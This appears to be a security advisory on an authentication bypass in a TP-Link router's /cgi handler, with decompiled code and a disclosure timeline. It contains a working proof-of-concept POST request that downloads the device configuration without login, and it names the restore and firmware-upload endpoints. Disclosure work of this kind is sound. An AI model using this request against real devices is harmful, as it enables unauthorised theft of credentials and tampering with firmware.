The web server’s /cgi request handler http_cgi_main (sub_415F7C) selects a per-request handler from an operation code and a target path, then invokes it. For the operation that invokes a handler by path, the server resolves the path to a registered endpoint and calls that endpoint’s handler without checking either the caller’s session role or the permission descriptor that was attached to the endpoint when it was registered. Endpoints meant for authenticated administrators (configuration download, configuration restore, firmware upload, and others) are therefore reachable by an unauthenticated client that can talk to the web interface.
Technical Details
Request shape
The operation code is read from the query string: http_cgi_main splits the query on & (sub_40A318) and runs atoi on each token, so POST /cgi?8 selects operation 8. Operation 7 is a data-model action, operation 8 invokes a handler by path, operation 9 is a JSON action. The target path is not taken from the URL, it is parsed out of the request body:
getObjData(0x415920) reads the first body line, which must have the form[<desc>]<actIndex>,<listLen>. It copies the bracketed<desc>into a buffer withcstr_strncpyand reads the two trailing integers withsscanf.parseDescStr(0x415658) splits<desc>at the first#. Everything before the#becomes the path; the two comma-separated groups of six integers after it must satisfy a 12-fieldsscanf.
// first body line "[<desc>]<actIndex>,<listLen>\n"
if ( line[0] == '[' && (p = strchr(line, ']')) != 0 ) {
*p++ = 0; // terminate <desc> at ']'
cstr_strncpy(desc, line + 1, desc_max);
sscanf(p, "%d,%d", &actIndex, &listLen); // tail after ']'
}
// split <desc> at the first '#'
oid = desc; // path = start of <desc>
s = strchr(desc, '#'); *s = 0; // path ends at first '#'
sscanf(s + 1, "%u,%u,%u,%u,%u,%u#%u,%u,%u,%u,%u,%u", ...); // must return 12
Missing check
Operation 7 gates on the session role stored at offset +0x50 of the request object: if it is greater than 2 the server returns 401. Operation 8 performs no such check. It resolves the path with the alias-lookup routine (sub_40EA04), rejects only two specific handler pointers (the static-file handler sub_40F468 and http_cgi_main itself), and then calls the handler pointer stored at offset +0x28 of the alias:
op = atoi(token);
// ... path parsed from body ...
if ( op == 7 ) { // data-model action
if ( *(unsigned int *)(req + 0x50) > 2 ) // session role
{ result = 401; goto out; } // unauthenticated request rejected
rdp_action(oid, ...);
}
else if ( op == 8 ) { // invoke handler by path
a = sub_40EA04(oid); // resolve path to a registered alias
if ( !a
|| *(void **)(a + 0x28) == sub_40F468 // static-file handler
|| *(void **)(a + 0x28) == http_cgi_main )
{ result = 71016; goto out; }
// role (+0x50) and the alias permission descriptor (+0x30) are never consulted here
(*(int (**)(void *))(a + 0x28))(req); // handler invoked
}
The permission descriptor exists but is never read
Each endpoint is built by http_alias_addEntryByArg (0x40E494), which stores the handler pointer at +0x28 and the registration-time permission descriptor at +0x30:
a = malloc(0x40);
*(int *)(a + 0x10) = type;
*(char **)(a + 0x18) = path;
*(void **)(a + 0x28) = handler; // handler pointer
*(void **)(a + 0x30) = perms; // permission descriptor
The registration routine at 0x42CC70 gives the sensitive endpoints a restricted descriptor (a role bitmask whose value is 0xF7) and gives public endpoints an open descriptor (0xFF):
http_alias_addEntryByArg(2, "/cgi/conf.bin", 0, http_rpm_backup, perms_0xF7); // configuration download
http_alias_addEntryByArg(2, "/cgi/confup", 0, http_rpm_restore, perms_0xF7); // configuration restore
http_alias_addEntryByArg(2, "/cgi/softup", 0, http_rpm_update, perms_0xF7); // firmware upload
// ...
http_alias_addEntryByArg(2, "/cgi/login", 0, login_handler, perms_0xFF); // public
Across the whole binary, offset +0x30 of the alias object is only ever written (here), no code path reads it. The restricted-versus-open distinction set at registration is therefore never enforced, and operation 8 reaches any registered handler regardless of session state. The handlers do not compensate: http_rpm_backup (0x413C20, ./src/http_rpm_backNRestore.c) streams the configuration to the client and reads the role at +0x50 only to decide whether to include the backup password, never to deny the request; http_rpm_restore (0x413E40) and http_rpm_update (0x412950) contain no role check at all.
Proof of Concept
An unauthenticated configuration download:
POST /cgi?8 HTTP/1.1
Host: 192.168.1.1
Referer: http://192.168.1.1/
Content-Length: 47
[/cgi/conf.bin#1,2,3,4,5,6#7,8,9,10,11,12]0,0
This parses to path /cgi/conf.bin, actIndex = 0 (which must equal the object’s zero-based position in the request), and listLen = 0 (no attribute lines follow). The path resolves to http_rpm_backup, which returns the encrypted configuration with no session check.
Impact
An unauthenticated attacker on the same network as the web interface can call administrative CGI handlers directly. This includes downloading the full device configuration through /cgi/conf.bin, writing a configuration back through /cgi/confup, and uploading firmware through /cgi/softup. The configuration carries the device’s settings and credential material, and the restore and firmware handlers modify persistent device state.
Disclosure timeline
Submitted report to security@tp-link.com
Reserved CVE-2025-15517
CVEs and advisory published
References
- TP-Link Security Advisory www.tp-link.com/us/support/faq/5027/